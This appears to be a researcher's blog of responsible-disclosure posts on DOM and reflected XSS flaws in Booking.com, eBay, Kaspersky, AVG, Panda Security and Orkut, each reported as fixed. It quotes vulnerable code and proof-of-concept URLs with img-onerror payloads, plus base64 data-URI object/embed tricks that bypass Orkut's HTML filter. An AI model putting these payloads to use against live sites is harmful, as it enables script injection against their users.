DOM XSS vulnerabilities on Booking.com

Booking.com B.V., part of Priceline.com (Nasdaq: PCLN), owns and operates Booking.com, the world leader in booking accommodation online. Each day, over 400,000 room nights are reserved on Booking.com, and the website attracts over 30 million unique visitors each month from both the leisure and business sectors worldwide.

On January I started receiving some phishing emails using Booking.com as bait to spread malware.
If these malicious users had the right tools - like for example a XSS vulnerability - they could infect more users. That would not be good...

After browsing a little bit the website I found out two DOM XSS vulnerabilities.
Both vulnerabilities we're explored due to the lack of escaping the location.hash and using an older version of jQuery. That way it was possible for user to inject code into a victims browser DOM.

Proof of concept #1 (iPhone landing)

http://www.booking.com/general.en-us.html?sid=c81e148e3eceef6c8e2073bc50258a1c;dcid=1;tmpl=docs/iphone_landing&=&#<img src=x onerror=prompt("xss");>

Proof of concept #2 (FAQ section)

http://www.booking.com/general.en-us.html?dcid=1&sid=c81e148e3eceef6c8e2073bc50258a1c&tmpl=docs/faqmain#<img src=x onerror=prompt("xss");>

Both issues are now fixed.

I only was able to receive any reply from Booking.com team when contacting them via Twitter. After that I established a conversation with their security team who were very effective and fast, solving both vulnerabilities on a couple of hours. They reported that they're working on making the site safer everyday and appreciate any assistance.
Thanks for that.

eBay XSS vulnerability

How about finding a vulnerability in the biggest online marketplace in world?

When searching on eBay I found out that it's possible execute a XSS vulnerability on their job search section.

Proof of concept:
On Ebay Careers, you clicked on the Search Openings and on the Requisition No. you wrote the XSS vector:

<img src=x onerror=prompt("xss");> 

Clicked Search. The following screen doesn't execute the XSS but when you click:

?more 

...it would open a new window with the XSS executing.

This issue has been fixed and some pages removed.

I want to thank eBay security team for the fast reply and putting me on their Security Researchers Acknowledgment page. By the way, I'm the first portuguese guy in the list...

Disable Blogger.com toolbar

When playing around with my blog I discovered that is possible to temporary disable the blogger.com toolbar just adding a new parameter to the URL.

This is not a security issue and should not be considered a threat to any user or blog.
Think of it like a easter egg :-)

It's quite simple to replicate.
Just adding:

#&jsh= 

... to the URL of any blogger account (works also with a domain associated to blogger) will disable Google Plus buttons and the toolbar.

Google reported that will fix this issue as soon as possible.

Kaspersky DOM XSS

Following my study on DOM XSS and antivirus vendors, I found that Kaspersky is also vulnerable to this type of vulnerability.
The problem is located on a bad validation of location.hash coming from jQuery (which is also outdated).

/*load current tab by url*/
//if($.url.param("tab")) $('a[name='+$.url.param("tab")+']').trigger('click');
var hash = location.hash;
if (hash.indexOf("tab=") != -1) {
hash = hash.replace(/^#tab=/, "");
$('a[name=' + hash + ']').trigger('click');
} 

If a user loads the "tab" parameter on the URL it will execute the code.

Proof of concept:

http://www.kaspersky.com/tablet-security#tab=<img src=x onerror=prompt("xss");>

The Kaspersky team fixed this issue very fast and I would like to thank @assolini from Kaspersky for the support and the gift.

AVG vulnerable to DOM XSS

I discovered a DOM XSS vulnerability in AVG and it's located on download section of the oficial website.

Due to the lack of escaping/encoding the URL on the code present on file js_stdfull.js, a user could inject code into the website.

Vulnerable code:

//display the correct tab based on the url (#name)
var pathname = $(location).attr('href');var urlparts = pathname.split("#"); 

Proof of concept:

http://www.avg.com/eu-en/download#"><img src=x onerror=prompt(/xss/);>

This XSS vector worked fine with Chrome but you could changed it to work with other browsers also.
This issue is already been fixed but didn't got any reply from their team.

Panda Security vulnerable to DOM XSS

Who is Panda?
Panda Security SL, formerly Panda Software, is a computer security company founded in 1990 by Panda's former CEO, Mikel Urizarbarrena, in the city of Bilbao, Spain. Initially centered on the production of antivirus software, the company has expanded its line of applications to include firewall applications, spam and spyware detection applications, cybercrime prevention technology, and other system management and security tools for businesses and home users.

Who uses it?
Panda Security is one of largest antivirus vendor worldwide, so it means lot's of clients.

What seems to be the issue?
There is a DOM XSS vulnerability present on the pandasecurity.com website.

Affected file: aHref.js (eval + location.href)

Vulnerable code: 

var Url = location.href;
Url = Url.replace(/.*\?(.*?)/,"$1");
Variables = Url.split ("&");
for (i = 0; i < Variables.length; i++) {
Separ = Variables[i].split("=");
eval ('var _'+Separ[0].toLowerCase()+'="'+Separ[1]+'"');
}} 
Proof of concept:

http://www.pandasecurity.com/security-promotion/antivirusoffer/portugal/?track=109197";alert("xss by @dsopas");//&gclid=CO7Q3JmqzrQCFUpb3godzC4Ang";alert("xss by @dsopas");//



Both track and gclid are exploitable with this issue.

Feedback?
PandaSecurity fixed this issue very fast. My congrats to their support.

Google Orkut HTML limitations bypass

When playing around on my personal Orkut.com account I just figured how to bypass the "Unsupported html tags were removed from the html source." present in many places like: Profile - About [name] or posting on Updates. This issue could lead to a self XSS.

The trick is to use object or embed tag on the html tab.

<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+'></object>

<EMBED SRC='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoInhzcyIpOzwvc2NyaXB0Pjwvc3ZnPg==' type='image/svg+xml' AllowScriptAccess='always'></EMBED>

When you hit save or click again on the html button, it will execute the code.

The code is not saved, so it's not persistent.

This issue has already been fixed by Google Security Team and put me on the Honorable Mention on Google Vulnerability Reward Program.